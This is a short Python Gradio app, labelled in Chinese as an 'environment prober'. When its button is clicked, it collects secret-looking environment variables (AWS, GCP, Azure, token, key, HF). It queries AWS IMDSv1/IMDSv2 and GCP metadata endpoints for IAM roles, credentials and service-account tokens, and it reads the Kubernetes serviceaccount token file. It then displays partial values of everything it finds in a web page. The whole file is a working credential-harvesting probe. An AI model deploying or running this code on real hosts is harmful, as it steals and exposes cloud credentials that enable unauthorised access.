import gradio as gr
import os
import urllib.request
import json

def probe_environment():
    output = "================ 1. 环境变量检查 ================\n"
    suspicious_keys = [k for k in os.environ.keys() if any(x in k.upper() for x in ['AWS', 'GCP', 'GOOGLE', 'AZURE', 'TOKEN', 'KEY', 'SECRET', 'CRED', 'HF'])]
    for k in suspicious_keys:
        output += f"{k}: {os.environ[k][:20]}...\n" if len(os.environ[k]) > 20 else f"{k}: {os.environ[k]}\n"
    
    if not suspicious_keys:
        output += "未发现明显敏感的环境变量。\n"

    output += "\n================ 2. 云厂商 IMDS 探测 ================\n"
    
    # AWS IMDSv1
    try:
        req = urllib.request.Request("http://169.254.169.254/latest/meta-data/iam/security-credentials/", method="GET")
        with urllib.request.urlopen(req, timeout=2) as response:
            role_name = response.read().decode('utf-8').strip()
            output += f"🚨 AWS IMDSv1 可达! Role: {role_name}\n"
            # 进一步拿凭证
            req2 = urllib.request.Request(f"http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}", method="GET")
            with urllib.request.urlopen(req2, timeout=2) as res2:
                output += f"凭证信息: {res2.read().decode('utf-8')[:50]}...\n"
    except Exception as e:
        output += "AWS IMDSv1 阻断或不存在。\n"

    # AWS IMDSv2
    try:
        req_token = urllib.request.Request("http://169.254.169.254/latest/api/token", method="PUT", headers={"X-aws-ec2-metadata-token-ttl-seconds": "21600"})
        with urllib.request.urlopen(req_token, timeout=2) as res_token:
            token = res_token.read().decode('utf-8')
            req_v2 = urllib.request.Request("http://169.254.169.254/latest/meta-data/iam/security-credentials/", method="GET", headers={"X-aws-ec2-metadata-token": token})
            with urllib.request.urlopen(req_v2, timeout=2) as res_v2:
                role_name = res_v2.read().decode('utf-8').strip()
                output += f"🚨 AWS IMDSv2 可达! Role: {role_name}\n"
    except Exception as e:
        output += "AWS IMDSv2 阻断或不存在。\n"

    # GCP IMDS
    try:
        req_gcp = urllib.request.Request("http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", method="GET", headers={"Metadata-Flavor": "Google"})
        with urllib.request.urlopen(req_gcp, timeout=2) as res_gcp:
            output += f"🚨 GCP IMDS 可达! Token: {res_gcp.read().decode('utf-8')[:50]}...\n"
    except Exception as e:
        output += "GCP IMDS 阻断或不存在。\n"

    # 读取 K8s token
    output += "\n================ 3. 本地凭据文件 ================\n"
    try:
        with open("/var/run/secrets/kubernetes.io/serviceaccount/token", "r") as f:
            output += f"⚠️ K8s Token: {f.read()[:20]}...\n"
    except Exception:
        output += "未发现 K8s token。\n"

    return output

with gr.Blocks() as demo:
    gr.Markdown("## 环境探测器")
    out = gr.Textbox(label="探测结果", lines=20)
    btn = gr.Button("开始探测")
    btn.click(fn=probe_environment, inputs=[], outputs=out)

demo.launch()